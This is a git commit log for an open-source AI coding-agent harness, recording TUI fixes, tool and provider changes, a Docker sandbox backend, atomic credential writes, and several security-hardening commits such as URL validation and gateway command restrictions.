* fix(tools): todo_write updates existing items in-place instead of duplicating

When an agent marks a todo item done by calling todo_write with
checked=True, the tool previously always appended a new [x] line,
leaving the original [ ] line intact. This produced duplicate entries.

The tool now performs an upsert:
- If the item exists as [ ], replace it with [x] in-place.
- If it is already in the target state, return a no-op result.
- Otherwise, append as before.

Adds test_todo_write_upsert to cover the new behaviour.

Co-authored-by: Copilot

* fix(tools): simplify todo_write tool description for LLM clarity

Co-authored-by: Copilot

---------

Co-authored-by: JiangYulin <yulin@JiangYulindeMacBook-Pro.local>
2026-04-14 00:04:24 +08:00
benben951 e537ba9867 chore(installer): add native Windows PowerShell installer (#118) 2026-04-13 20:28:42 +08:00
yulin ed0b5f02ab fix(tui): write trailing newline on exit so shell prompt starts on a fresh line (#133)
* fix(tui): write newline on exit so shell prompt starts on fresh line

Ink hides the cursor during rendering and restores it on exit, but does
not emit a trailing newline.  When the TUI process ends, the terminal
cursor sits at the end of the last rendered line, causing the shell
prompt to appear directly concatenated with the TUI output.

Rename restoreCursor → restoreTerminal and append '\n' alongside the
cursor-show escape sequence so the parent shell always receives the
prompt on a clean new line.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

* test(tui): add regression guard for exit newline; update changelog

- Add tests/test_ui/test_tui_exit_sequence.py with two tests:
  * test_tui_exit_handler_writes_newline: asserts the cleanup write
    includes the trailing \n alongside \x1B[?25h
  * test_tui_exit_handler_registered_for_all_signals: asserts cleanup
    is registered for 'exit', SIGINT, and SIGTERM
- Add entry to CHANGELOG.md [Unreleased] Fixed section

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

* fix(tests): update ohmo cli test inputs for allow_remote_admin_commands prompt

Commit dd1d235 added a new 'Allow explicitly listed administrative slash
commands from remote channels?' confirmation step to the gateway config
wizard, but the four interactive test cases in test_ohmo/test_cli.py were
not updated to provide an answer for it. This caused stdin to be exhausted
and click to emit Abort(), making all four tests fail with exit_code=1.

Add 'n' as the answer for allow_remote_admin_commands in each affected
test, and move the existing 'restart gateway' answer after it in
test_ohmo_config_interactive_can_restart_gateway.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-13 18:49:47 +08:00
tjb-tech 46a618bae8 test(ohmo): update interactive prompts for remote admin settings 2026-04-13 08:52:04 +00:00
tjb-tech 1ffc4a44fd fix(memory): preserve slug fallback in secure path resolution 2026-04-13 08:25:57 +00:00
hehe1111 45fb335db0 fix(feishu): reply in group threads instead of creating new topics (#125)
The Feishu channel did not support replying inside group topic threads.
Every bot response created a new top-level message, making conversations
in topic-enabled groups fragmented.

Three changes:

1. feishu.py: include thread_id/root_id in inbound metadata so that
   router.py can create per-topic session keys for group chats.

2. feishu.py: add reply_in_thread support to _send_message_sync using
   the lark-oapi ReplyMessageRequest with .reply_in_thread(True).

3. bridge.py: forward inbound message_id to OutboundMessage metadata
   so the Feishu channel can use it for thread replies.
2026-04-13 16:25:28 +08:00
Hinotobi dd1d235450 fix: harden gateway slash command security (#127)
* fix: harden gateway slash command security

* fix: add secure remote admin opt-in for gateway commands
2026-04-13 16:24:20 +08:00
tjb-tech 63ce793cba fix(tui): batch backend updates to reduce flicker 2026-04-13 07:31:24 +00:00
tjb-tech 1f5087c819 feat(subagents): improve discovery and reduce tui rerenders 2026-04-13 07:23:17 +00:00
tjb-tech 7f25a84d8e fix(ci): remove flaky fake subprocess cleanup assertion 2026-04-13 06:13:24 +00:00
tjb-tech 71c62c46a9 fix(ci): relax fake subprocess timeout assertions 2026-04-13 06:11:49 +00:00
tjb-tech cdb7256e6b fix(ci): make bash timeout tests robust across runners 2026-04-13 06:10:21 +00:00
tjb-tech 7f22107170 fix(ci): normalize bash timeout output under pty 2026-04-13 05:48:58 +00:00
tjb-tech 9f97283320 fix(bash): surface partial output for interactive timeouts 2026-04-13 05:34:05 +00:00
José Maia 4857439e50 fix(persistence): atomic writes and locks for shared state (#128)
Files under ~/.openharness/ — credentials, settings, session snapshots,
cron registry, memory index — were written with `Path.write_text()` in
truncating mode. A crash, SIGKILL, power loss, or out-of-disk error
during the write leaves a truncated file on disk; concurrent writers
clobber each other's updates; and the credentials file spent a brief
window at the default umask mode (commonly 0o644) before chmod-to-0600
ran.

Introduce `openharness.utils.fs.atomic_write_text` / `atomic_write_bytes`
which write to a same-directory temp file, fsync, apply the target mode
while the file is still private, and `os.replace` into place. Thread
them through all persistence writers. For read-modify-write on shared
files (credentials, settings, cron, memory index), pair atomic writes
with the existing `exclusive_file_lock` primitive so two `oh` processes
no longer race.

The generic lock helper moves from `openharness.swarm.lockfile` to
`openharness.utils.file_lock`. `swarm.lockfile` is retained as a thin
re-export so existing callers keep working.

Co-authored-by: José Maia <glitch-ux@users.noreply.github.com>
2026-04-13 12:40:24 +08:00
tjb-tech 39ffc199a8 fix(config): resolve compact thresholds and base URL regressions 2026-04-12 15:33:43 +00:00
tjb-tech a6c63fdab9 fix(sandbox): bypass srt wrapping for docker backend 2026-04-12 06:23:12 +00:00
José Maia 508937c996 feat(sandbox): add Docker sandbox backend (#121)
The existing srt/bubblewrap sandbox only wraps shell commands — file I/O
tools bypass it entirely via direct Python calls. This adds Docker as a
second sandbox backend that provides container-level isolation for tool
execution while keeping the engine and API keys on the host.

- Add DockerSandboxSettings with image, resource limits, and env config
- Add backend field to SandboxSettings ("srt" or "docker")
- Implement DockerSandboxSession: long-running container per session
- Route shell, glob, and grep subprocess calls through docker exec
- Add path validation for file tools when Docker sandbox is active
- Auto-build default sandbox image (python:3.11-slim + ripgrep + git)
- Network isolation: --network=none by default, bridge when domains allowed
- Lifecycle integration: container starts/stops with the session
- atexit safety net for cleanup on unexpected exit
- 34 unit tests, 19 E2E tests (require Docker daemon)

Co-authored-by: José Maia <glitch-ux@users.noreply.github.com>
2026-04-12 14:22:37 +08:00
DDY 242e3d90dd fix(auth): support Claude subscription auth lookup on macOS (#123)
* fix claude auth lookup on macos

* fix claude keychain auth status display
2026-04-12 14:22:30 +08:00
tjb-tech 327c6ed2ff fix(ui,openai): reduce TUI flicker and make timeout configurable 2026-04-11 14:31:19 +00:00
tjb-tech bd4df81f63 Merge pull request #92 from 13ernkastel/codex/harden-path-rules-and-web-guards 2026-04-11 13:49:52 +00:00
tjb-tech e3bf45020c Merge pull request #96 from fengjie926/fix/skill-loader-yaml-frontmatter 2026-04-11 13:27:21 +00:00
tjb-tech a21011001a Merge remote-tracking branch 'origin/main' into fix/skill-loader-yaml-frontmatter
# Conflicts:
#	CHANGELOG.md
2026-04-11 13:27:00 +00:00
tjb-tech 76b2b48e5f Merge pull request #110 from yl-jiang/fix/grep-limit-overrun 2026-04-11 13:26:21 +00:00
tjb-tech 33d0f0db7e Merge remote-tracking branch 'origin/main' into fix/grep-limit-overrun
# Conflicts:
#	CHANGELOG.md
#	src/openharness/tools/grep_tool.py
2026-04-11 13:25:54 +00:00
Jiabin Tang 9b75800fde Merge pull request #65 from siaochuan/feat/session-personalization
feat(personalization): auto-extract local environment rules from session history
2026-04-11 21:14:40 +08:00
Jiabin Tang d40496465c Merge pull request #112 from HKUDS/fix/grep-limit-overrun-merge-main
fix(grep): handle long rg lines without crashing
2026-04-11 21:14:15 +08:00
Jiabin Tang a5c29495d4 Merge pull request #95 from siaochuan/fix/effective-model-display
fix(ui): show effective runtime model in header
2026-04-11 21:10:35 +08:00
Jiabin Tang 565e6f16d2 Merge pull request #114 from jiakeboge/fix-ansi-escape-in-model-names
fix(config): strip ANSI escape sequences from model names
2026-04-11 21:09:59 +08:00
Jiabin Tang 78b1d64585 Merge pull request #116 from yl-jiang/fix/tui-busy-indicator
fix(tui): keep busy spinner active throughout agent turn
2026-04-11 21:09:33 +08:00
JiangYulin b40007753f fix(tui): keep busy spinner active throughout agent turn
- Remove premature setBusy(false) from assistant_complete handler;
  busy state should only clear at true end-of-turn (line_complete).
- Add setBusy(true) to tool_started handler so the spinner activates
  even when tool calls come immediately after an assistant message.
- Show 'Processing...' label on tool_completed instead of clearing label.
- Improve inline comments to clarify the intended event flow.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-11 18:53:46 +08:00
jiakeboge a3f1b23fb6 fix(config): strip ANSI escape sequences from model names
When setting ANTHROPIC_MODEL or OPENHARNESS_MODEL environment variables
in terminals with formatting (e.g., bold text), ANSI escape sequences like
\x1b[1m can be inadvertently included in the model name. This causes the
API to receive an invalid model name like 'claude-opus-4-6[1m]' instead of
'claude-opus-4-6', resulting in a 404 error.

Changes:
- Add strip_ansi_escape_sequences() helper function
- Apply stripping in _apply_env_overrides() for env vars
- Apply stripping in merge_cli_overrides() for CLI args
- Add comprehensive tests for ANSI escape handling

Fixes #113
2026-04-11 17:22:19 +08:00
tjb-tech 7a29e66fdb fix(grep): handle long rg lines without crashing 2026-04-11 09:11:21 +00:00
Jiabin Tang 6cd53b3730 Merge pull request #104 from JiangweiYe76/fix/checkpoint-restore-environment-info
fix: regenerate system prompt on checkpoint restore
2026-04-11 17:06:48 +08:00
Jiabin Tang b9965a127d Merge pull request #105 from glitch-ux/feat/gemini-builtin-provider
feat(providers): add built-in Google Gemini provider profile
2026-04-11 17:06:45 +08:00
Jiabin Tang 7209b69212 Merge pull request #106 from glitch-ux/fix/auth-storage-keyring-noise-and-misleading-crypto
fix(auth): cache keyring probe and rename misleading encrypt/decrypt
2026-04-11 17:06:43 +08:00
Jiabin Tang 12758e7683 Merge pull request #111 from yl-jiang/feat/tui-tool-pair-display
feat(tui): pair tool-call and tool-result rows for cleaner transcript
2026-04-11 17:06:39 +08:00
JiangYulin 8b6b3b26d0 feat(tui): pair tool-call and tool-result rows for cleaner transcript
Previously, tool calls and their results were rendered as independent
rows. This flooded the transcript with raw result text on every agent
turn and gave no at-a-glance signal about whether a call succeeded.

Changes:
- ConversationView groups adjacent tool/tool_result items into pairs
  before rendering, using a new groupToolPairs() helper.
- ToolCallDisplay accepts an optional resultItem prop and renders a
  compound row:
    * Success  → result line count shown inline (e.g. "→ 24L")
    * Error    → red error icon inline + up to 5 error lines expanded
- Standalone successful tool_result rows are suppressed (no output).
- Standalone tool_result errors are still surfaced so failures are
  never silently swallowed.

Closes #109

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-11 16:34:04 +08:00
JiangYulin e2c2bc58e3 fix(grep): raise asyncio stream limit and catch ValueError on long lines
Ripgrep can output lines longer than asyncio's default StreamReader
limit (64 KB), for example in minified JS/CSS files or lock files.
When that happens, readline() internally raises LimitOverrunError which
is re-raised as ValueError and propagates unhandled all the way to the
REPL, crashing the session.

Two-layer fix:
- Pass limit=8*1024*1024 to asyncio.create_subprocess_exec so lines up
  to 8 MB are handled transparently.
- Catch ValueError inside _collect_rg_matches and
  _collect_rg_file_matches as a safety net so any line that somehow
  exceeds even that limit is silently skipped rather than aborting.

Closes #108

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-11 16:32:21 +08:00
José Maia b65b5b809a fix(auth): cache keyring probe and rename misleading encrypt/decrypt helpers
Two issues in auth/storage.py:

1. Every call to store_credential / load_credential / clear_provider_credentials
   probes the system keyring. When no backend is available (WSL, containers, CI),
   each probe fails and logs a warning. A single `oh setup` invocation triggers
   20+ "Keyring load failed" warnings because the availability is never cached.

   Fix: probe once on first call, cache the result, and log at INFO level
   instead of WARNING so users see a single quiet message.

2. The public `encrypt` / `decrypt` functions are XOR obfuscation with a key
   derived from the home-directory path — trivially reversible by anyone with
   filesystem access. Naming them encrypt/decrypt misleads callers into
   thinking credentials are protected by real cryptography.

   Fix: rename to `_obfuscate` / `_deobfuscate` (private), update module
   docstring to document the security model, and keep `encrypt` / `decrypt`
   as deprecated aliases for backward compatibility.
2026-04-11 03:29:18 +01:00
José Maia 373c97e5f6 feat(providers): add built-in Google Gemini provider profile
Wire Gemini as a first-class provider so `oh setup` offers it alongside
Anthropic, OpenAI, Moonshot, and others. The ProviderSpec for Gemini
already existed in the API registry; this commit adds the missing
profile, auth-source mappings, and CLI integration so users can
configure Gemini through the standard setup flow instead of manually
creating a custom profile.

Changes:
- Add "gemini" entry to `default_provider_profiles()` with
  `gemini-2.5-flash` as default model and the AI Studio OpenAI-compat
  base URL
- Register `gemini_api_key` auth source in `auth_source_provider_name()`
  and `default_auth_source_for_provider()`
- Add gemini to `_KNOWN_PROVIDERS`, `_AUTH_SOURCES`, and
  `_PROFILE_BY_PROVIDER` in `auth/manager.py`
- Add gemini to `_PROVIDER_LABELS`, `_AUTH_SOURCE_LABELS`, and the
  `oh auth login` API-key flow in `cli.py`
- Add Gemini row to the OpenAI-Compatible provider table in both
  README.md and README.zh-CN.md

Closes #90
2026-04-11 01:26:06 +01:00
Jiangwei Ye c99fe036ef fix: regenerate system prompt on checkpoint restore
- Don't restore saved system_prompt from checkpoint
- Let runtime regenerate it with current environment info
- Fixes cross-platform checkpoint migration issue
2026-04-10 23:15:30 +08:00
tjb-tech 22786f0216 docs(readme): simplify Quick Start and add ohmo setup guide
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-10 13:06:12 +00:00
tjb-tech 0fc9dffcae docs(readme): add ohmo intro, What's New v0.1.4–v0.1.6, remove architecture comic
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-10 13:01:45 +00:00
tjb-tech e2ed3ad6fe chore(release): bump version to 0.1.6 2026-04-10 12:38:10 +00:00
tjb-tech 4b313bc4fe fix(ci): stabilize coordinator query engine tests 2026-04-10 11:54:37 +00:00
tjb-tech a6931b7698 feat(compact): improve task-state carry-over and channel logging 2026-04-10 11:26:16 +00:00
tjb-tech 3da00089d5 feat(compact): preserve task state across compaction 2026-04-10 09:53:57 +00:00
tjb-tech 76d91fdfa1 fix(swarm): run subprocess teammates in headless worker mode 2026-04-10 09:50:07 +00:00
hope 093caf31b6 Merge branch 'HKUDS:main' into fix/skill-loader-yaml-frontmatter 2026-04-10 17:28:56 +08:00
tjb-tech aca4016898 feat(compact): align lifecycle and carry-over behavior 2026-04-10 08:17:10 +00:00
hope d3d4108a1e Merge branch 'HKUDS:main' into fix/skill-loader-yaml-frontmatter 2026-04-10 15:57:45 +08:00
fengjie926 4b855bce14 fix(skills): use yaml.safe_load for SKILL.md frontmatter parsing
Replace naive line-by-line frontmatter parsing with yaml.safe_load to
correctly handle YAML block scalars (folded `>`, literal `|`), quoted
values, and other standard YAML constructs. Add comprehensive unit tests
for inline, folded, literal, quoted, fallback, and malformed frontmatter.

Made-with: Cursor
2026-04-10 15:26:35 +08:00
tjb-tech ab7f0a3a52 fix(install): recreate incomplete venv before activation
Fixes #94.
2026-04-10 07:12:09 +00:00
tjb-tech 702e429c06 Merge branch 'feat/react-tui-markdown-rendering'
# Conflicts:
#	frontend/terminal/src/components/MarkdownText.tsx
2026-04-10 07:12:00 +00:00
tjb-tech 4e16ce0ffa feat(installer): improve dev setup and gateway restart flow 2026-04-10 06:28:02 +00:00
siaochuan 019812515b fix(ui): show effective model in runtime header 2026-04-10 14:06:23 +08:00
tjb-tech 038d0a7956 fix(ci): restore import order and improve running feedback 2026-04-10 04:08:35 +00:00
tjb-tech 27abeae3eb Merge #88 and fix agent team creation 2026-04-10 03:59:44 +00:00
13ernkastel 64c0380805 Stabilize web tool tests across full suite 2026-04-09 23:06:27 +08:00
13ernkastel 04556430b7 Fix web tool test monkeypatching 2026-04-09 23:02:20 +08:00
13ernkastel 2931bc0f96 harden path rules and web network guards 2026-04-09 22:49:23 +08:00
tjb-tech a890f4eef5 fix(ci): restore runtime helper import 2026-04-09 12:35:52 +00:00
tjb-tech 6fbc61fc13 fix(ohmo): support channel slash commands and stabilize tests 2026-04-09 12:31:40 +00:00
yl-jiang 9e0d15733b fix(frontend): address markdown renderer review
- remove fixed sleep delays from Ink output tests
- align inline fallback rendering with width calculation
- preserve nested markdown blocks inside blockquotes
- memoize markdown tokenization for transcript rerenders

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-09 19:54:08 +08:00
yl-jiang 32773f3489 feat(frontend): render assistant markdown in React TUI
- render assistant transcript rows with MarkdownText\n- align markdown tables by rendered cell width\n- add changelog and regression coverage\n\nCo-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-09 19:34:58 +08:00
tjb-tech a359e0204b fix(ui): avoid redundant backend snapshot rerenders 2026-04-09 07:43:10 +00:00
tjb-tech 75560d3252 Merge branch 'pr-85' 2026-04-09 07:40:57 +00:00
tjb-tech 9a99827291 fix(bash): increase default command timeout for long installs 2026-04-09 07:24:26 +00:00
卢志良 54119ce1cf fix(ohmo): align user profile docs with user.md path 2026-04-09 14:36:49 +08:00
tjb-tech a4d45408ff release: ship 0.1.5 2026-04-08 15:10:08 +00:00
tjb-tech 0b5de01587 feat(ohmo): support channel attachments and multimodal gateway messages 2026-04-08 14:16:01 +00:00
tjb-tech 1b4f5a51d8 Merge branch 'pr-80' 2026-04-08 14:11:41 +00:00
tjb-tech c6cc66c872 fix(mcp): tolerate tool-only servers and stdio cleanup errors 2026-04-08 13:54:54 +00:00
yl-jiang f72e1d3f39 fix(backend-host): add missing cwd field to BackendHostConfig
Commit a6a4c3d added cwd=self._config.cwd to the build_runtime() call
inside ReactBackendHost.run() but omitted:
1. the cwd field from the BackendHostConfig dataclass
2. passing cwd= when constructing BackendHostConfig in run_backend_host()

This caused an AttributeError on every oh startup:
  AttributeError: 'BackendHostConfig' object has no attribute 'cwd'

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-08 21:45:50 +08:00
tjb-tech 5552cce5c3 Merge branch 'pr-63' 2026-04-08 12:57:35 +00:00
tjb-tech 9794ae7937 Merge branch 'pr-76' 2026-04-08 12:57:35 +00:00
tjb-tech a6a4c3db24 fix(runtime): pass session cwd through runtime construction 2026-04-08 12:41:52 +00:00
jiahong 736ba9cc67 fix(mcp): add HTTP transport support 2026-04-08 20:31:29 +08:00
tjb-tech cb90ff8686 feat(ui): clear prompt input on double escape 2026-04-08 12:26:07 +00:00
tjb-tech 86a067cb01 fix(swarm): make subprocess agents pollable in real runs 2026-04-08 12:16:45 +00:00
tjb-tech f5d7d0f2f9 Merge branch 'pr-60' 2026-04-08 12:16:31 +00:00
tjb-tech 822f53ecaa Merge branch 'pr-64'
# Conflicts:
#	src/openharness/ui/backend_host.py
2026-04-08 11:27:00 +00:00
tjb-tech 9a3586098a Merge branch 'pr-66'
# Conflicts:
#	src/openharness/ui/backend_host.py
2026-04-08 10:47:37 +00:00
tjb-tech 2f6f8b01d6 release: ship 0.1.4 fixes and ohmo updates 2026-04-08 09:53:39 +00:00
tjb-tech 32caf0f381 fix(gateway): improve codex runtime diagnostics 2026-04-08 07:22:08 +00:00
yl-jiang 41f799828f fix(ui): wire permission_mode through BackendHostConfig and run_backend_host
Commit 69c85e4 added permission_mode to run_repl and app.py but forgot
to propagate it through the call chain:

  app.py → run_backend_host → BackendHostConfig → build_runtime

This caused a TypeError on startup:
  run_backend_host() got an unexpected keyword argument 'permission_mode'

Add permission_mode to BackendHostConfig, run_backend_host signature,
and the build_runtime call inside ReactBackendHost.run().

Co-authored-by: Copilot
2026-04-08 14:13:33 +08:00
yl-jiang 55f7f8e906 fix(ui): serialise concurrent permission modals with a lock
When the LLM returns multiple tool calls in one response, query.py
executes them concurrently via asyncio.gather. If more than one tool
requires user confirmation, each concurrent _ask_permission call emits
its own modal_request event. The React frontend overwrites its modal
state on every modal_request (setModal), so only the last dialog is
ever shown to the user. The earlier futures never receive a response
and time out after 300 s, causing silent "Permission denied" errors.

This edge case was not addressed by the recent deadlock fix (69c85e4).

Fix: add _permission_lock (asyncio.Lock) to ReactBackendHost and wrap
_ask_permission with 'async with self._permission_lock'. Only one
permission dialog is live at a time; the next concurrent caller waits
until the current modal is resolved or timed out.

Add test_concurrent_ask_permission_are_serialised to verify that two
concurrent _ask_permission calls are serialised and both resolve correctly.

Co-authored-by: Copilot
2026-04-08 14:13:33 +08:00
siaochuan 6510a820a7 fix(mcp): use JSON Schema types in tool input models; exclude None from MCP calls
When non-Anthropic models (MiniMax, Moonshot, etc.) call MCP tools, they
sometimes send `null` for parameters they consider optional. The previous
implementation typed all fields as `object | None`, so:

1. Pydantic accepted `null` even for required fields (e.g. `query`)
2. `model_dump()` serialized these as `{"query": null, ...}`
3. The MCP server received null for required parameters → validation error

Fix:
- Map JSON Schema types to proper Python types (string→str, integer→int,
  etc.) so Pydantic rejects null for required fields
- Use `exclude_none=True` in model_dump to strip optional null parameters
  before passing to the MCP server

This affects ALL MCP tool servers, not just specific ones.

Tested with: MiniMax-M2.7-highspeed + dongtian MCP server (15 tools).
2026-04-08 11:13:09 +08:00
siaochuan 1ed40da24d fix(lint): remove unused imports in extractor.py 2026-04-08 11:12:39 +08:00
siaochuan f24ca87d16 feat(personalization): auto-extract local environment rules from sessions
Add a personalization layer that learns the user's local environment from
conversation history and injects discovered rules into the system prompt.

Problem: Every OH user has unique infrastructure (server IPs, data paths,
conda envs, API endpoints, cron schedules) that must be manually configured
in CLAUDE.md or system_prompt. This is tedious and easy to forget.

Solution: Automatically extract environment-specific facts from each session
and persist them as local rules that are injected into future sessions.

How it works:
1. SESSION END: extractor scans conversation for patterns (SSH hosts,
   data paths, conda envs, API endpoints, env vars, Ray config, etc.)
2. PERSISTENCE: facts are merged into ~/.openharness/local_rules/facts.json
   with deduplication and confidence scoring
3. SESSION START: local rules are loaded as markdown and injected into
   the system prompt alongside CLAUDE.md and memory

Files:
- personalization/extractor.py: regex-based fact extraction (10 pattern types)
- personalization/rules.py: facts persistence and rules markdown generation
- personalization/session_hook.py: session-end integration
- prompts/context.py: inject local rules into system prompt
- ui/runtime.py: call extraction at session close (best-effort, non-blocking)
- 12 tests covering extraction, merging, and markdown generation

The extraction is pattern-based (no LLM calls needed), zero-cost, and
runs in <10ms at session end. Facts accumulate over sessions, building
a progressively richer environment profile.
2026-04-08 11:12:39 +08:00
Tao Zhang 1c14277451 fix(ui): pass permission mode into backend host runtime
Wire the React backend host to accept and forward permission_mode so --backend-only startup no longer crashes with an unexpected keyword argument.

Made-with: Cursor
2026-04-08 10:49:23 +08:00
tjb-tech 69c85e411c fix(ui): avoid blocking paste and permission responses in terminal 2026-04-07 16:30:00 +00:00
tjb-tech 9770837b02 fix(moonshot): inherit built-in base URL for saved provider profiles 2026-04-07 16:01:06 +00:00
tjb-tech 675c610c6a fix(lint): move logger declarations below imports 2026-04-07 15:37:03 +00:00
tjb-tech 8776b80129 fix(config): restore OPENAI env override precedence after merge conflict 2026-04-07 15:34:11 +00:00
tjb-tech fccd17ad5e Merge branch 'ohmo-local-recovered-on-validate' 2026-04-07 15:30:21 +00:00
tjb-tech 7b6964d221 feat(ohmo): update gateway and session storage changes 2026-04-07 15:30:21 +00:00
tjb-tech ce2f8f437b Merge remote-tracking branch 'origin/validate-prs-49-54-46-29'
# Conflicts:
#	src/openharness/config/settings.py
2026-04-07 15:19:59 +00:00
Jiri Puc 90b68b98fe test(agent-tool): add regression tests for subprocess backend fix (#60)
Two tests covering the fix from PR #60:

1. test_agent_tool_uses_subprocess_backend_and_task_is_pollable
   - Spawns an agent via AgentTool
   - Asserts backend=subprocess in the output (not in_process)
   - Asserts the returned task_id has no "in_process_" prefix
   - Asserts get_task_manager().get_task(task_id) finds the record,
     proving that task tools (TaskGet, TaskOutput, etc.) would succeed

2. test_send_message_swarm_path_uses_subprocess_backend
   - Patches SubprocessBackend.send_message as an AsyncMock
   - Calls SendMessageTool with a name@team task_id
   - Asserts the mock was called (i.e. SubprocessBackend was used,
     not InProcessBackend)

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-07 17:19:48 +02:00
Jiri Puc 7916a83b19 fix(agent-tool): use subprocess backend so task tools can poll spawned agents
On macOS and Linux, InProcessBackend is unconditionally registered because
supports_swarm_mailbox=True for those platforms. AgentTool hardcoded
get_executor("in_process") as its first choice, so it always selected
InProcessBackend on those platforms.

InProcessBackend.spawn() returns task IDs in the form "in_process_<12hex>"
which are tracked only inside InProcessBackend._active — a plain dict of
asyncio Tasks. BackgroundTaskManager (the backing store for all task tools:
TaskGet, TaskOutput, TaskList, stop_task, etc.) has no record of these IDs,
so any attempt by the model to poll a spawned agent failed with:

  ValueError: No task found with ID: in_process_3f7a9b1c2d4e

This caused the model to emit "The spawned agents returned in-process IDs
that aren't pollable with the task tools, so I'm switching to direct shell
execution" (see issue #59), after which the screen went blank with no
visual feedback.

SendMessageTool._send_swarm_message() had the same hardcoded preference,
meaning even the @ routing path would resolve to InProcessBackend after
the spawn, failing to find the agent in SubprocessBackend._agent_tasks.

Fix: both tools now unconditionally use the subprocess backend.
SubprocessBackend.spawn() calls BackgroundTaskManager.create_agent_task(),
registering the child process under a t<hex> task ID that all task tools
understand. SubprocessBackend also maintains an agent_id -> task_id map so
send_message via the @ path resolves correctly.

Platform behaviour after the fix:
- macOS / Linux: subprocess backend used (was broken before)
- Windows:       subprocess backend used (was already working by accident —
                 InProcessBackend is not registered when
                 supports_swarm_mailbox=False, so the old KeyError fallback
                 hit subprocess anyway)

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-07 17:15:14 +02:00
tjb-tech d5d4cad70e fix(auth): prefer profile-scoped credentials over global env for custom profiles 2026-04-07 15:11:42 +00:00
tjb-tech d704db0eea Merge branch 'pr-29' into validate-prs-49-54-46-29 2026-04-07 14:52:30 +00:00
tjb-tech 5667e1c982 Merge branch 'pr-46' into validate-prs-49-54-46-29 2026-04-07 14:52:30 +00:00
tjb-tech 3bddaa67fd Merge branch 'pr-54' into validate-prs-49-54-46-29 2026-04-07 14:52:30 +00:00
tjb-tech c923071121 Merge branch 'pr-49' into validate-prs-49-54-46-29 2026-04-07 14:52:30 +00:00
solon a913c86d40 fix(ui): handle EIO crashes in Ink TUI and wire up --debug logging
The Ink React TUI crashes with unhandled EIO errors when stdin.setRawMode()
is called during React reconciler mount/unmount cycles. This happens
reliably in SSH, tmux, and Docker terminal environments, causing the
spinner to appear frozen on tool execution.

Changes:
- Monkey-patch stdin.setRawMode to catch EIO/EAGAIN gracefully
- Add uncaughtException handler as fallback for React internals
- Wire up the existing --debug CLI flag to logging.basicConfig
- Support OPENHARNESS_LOG_LEVEL env var for log level control
- Add debug logging to tool execution loop (permission, timing, output)
- Add debug logging to backend event emission

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-07 13:46:13 +00:00
ag9920 88d8cf58de feat: add native support for Moonshot (Kimi) provider
# Conflicts:
#	src/openharness/config/settings.py
2026-04-07 13:46:13 +00:00
tjb-tech e1847d84fb Merge PR #54: fix Windows cmd flash on startup (disable detached mode on Windows)
Co-authored-by: JavisPeng <JavisPeng@users.noreply.github.com>
2026-04-07 12:08:03 +00:00
tjb-tech dfaa4b26f7 Merge PR #52: support OPENAI_BASE_URL in env overrides; fix resolve_auth key priority
- Add OPENAI_BASE_URL to env override chain
- Fix resolve_auth() to check provider-specific env var before flat api_key
- Infer provider=openai when api_format=openai
- Prefix bare version models (e.g. '5.4' -> 'gpt-5.4') for OpenAI providers
- Fix 4 pre-existing test env var leaks
- Preserved main's credential_slot logic while adopting new env-var-first priority

Co-authored-by: siaochuan <siaochuan@users.noreply.github.com>
2026-04-07 12:07:57 +00:00
tjb-tech be1f7161ea Merge PR #49: support max_completion_tokens for newer models (GPT-5, o1, o3, o4) 2026-04-07 12:06:55 +00:00
tjb-tech b9bfb0520e Merge PR #38: show friendly error on missing API key instead of traceback
Adapted to main's _resolve_api_client_from_settings() architecture.
Added _safe_resolve_auth() wrapper that catches ValueError and prints
a clear message before SystemExit(1).

Co-authored-by: José Maia <glitch-ux@users.noreply.github.com>
2026-04-07 12:06:47 +00:00
tjb-tech 7efba7360e Merge branch 'merge/pr-44-48': PR #44 (sensitive path protection), PR #48 (MCP disconnected server fix), web_fetch hardening 2026-04-07 11:49:55 +00:00
tjb-tech d93c795568 fix(web_fetch): harden URL validation, improve HTML parser, and add untrusted-content banner
- Validate URL scheme (http/https only), reject embedded credentials
- Replace regex-based HTML-to-text with HTMLParser to avoid pathological
  backtracking on large pages (fixes Issue #45 timeout concern)
- Add '[External content]' banner to fetched output for prompt-injection defense
- Tighten User-Agent string and cap max redirects to 5
- Add tests: large-HTML performance, embedded-credentials rejection, banner presence
2026-04-07 11:45:42 +00:00
Javis486 1870ed55ba fix:windows下,uv run oh 启动后 新cmd一闪而过 2026-04-07 16:25:41 +08:00
tjb-tech 64ba949b4e Merge branch 'pr-48' into merge/pr-44-48 2026-04-07 07:59:01 +00:00
tjb-tech f0deff5a6b Merge branch 'pr-44' into merge/pr-44-48 2026-04-07 07:58:57 +00:00
solon 07b528b5e9 fix(config): infer provider=openai when api_format=openai; prefix bare version models with gpt-
When --api-format openai is passed, the provider stayed as "anthropic"
(from the default claude-api profile), causing two issues:

1. resolve_model_setting used Claude model resolution instead of OpenAI,
   so bare versions like "5.4" were passed through as-is instead of
   becoming "gpt-5.4".

2. Provider-dependent logic elsewhere assumed Anthropic semantics.

Fix: in sync_active_profile_from_flat_fields(), when api_format switches
to "openai" but provider is still "anthropic", infer provider as "openai".
Also add a fallback in resolve_model_setting: bare numeric versions
(e.g. "5.4") get prefixed with "gpt-" for OpenAI providers.
2026-04-07 15:09:49 +08:00
solon 37f66f48fe fix(auth): support OPENAI_BASE_URL in env overrides and fix test env leaks
Root cause: _apply_env_overrides() only checked ANTHROPIC_BASE_URL and
OPENHARNESS_BASE_URL, ignoring OPENAI_BASE_URL. Users with OpenAI-compatible
relay services (e.g. relay.nf.video) that set OPENAI_BASE_URL had their
base_url left as None in settings, sending requests to api.openai.com
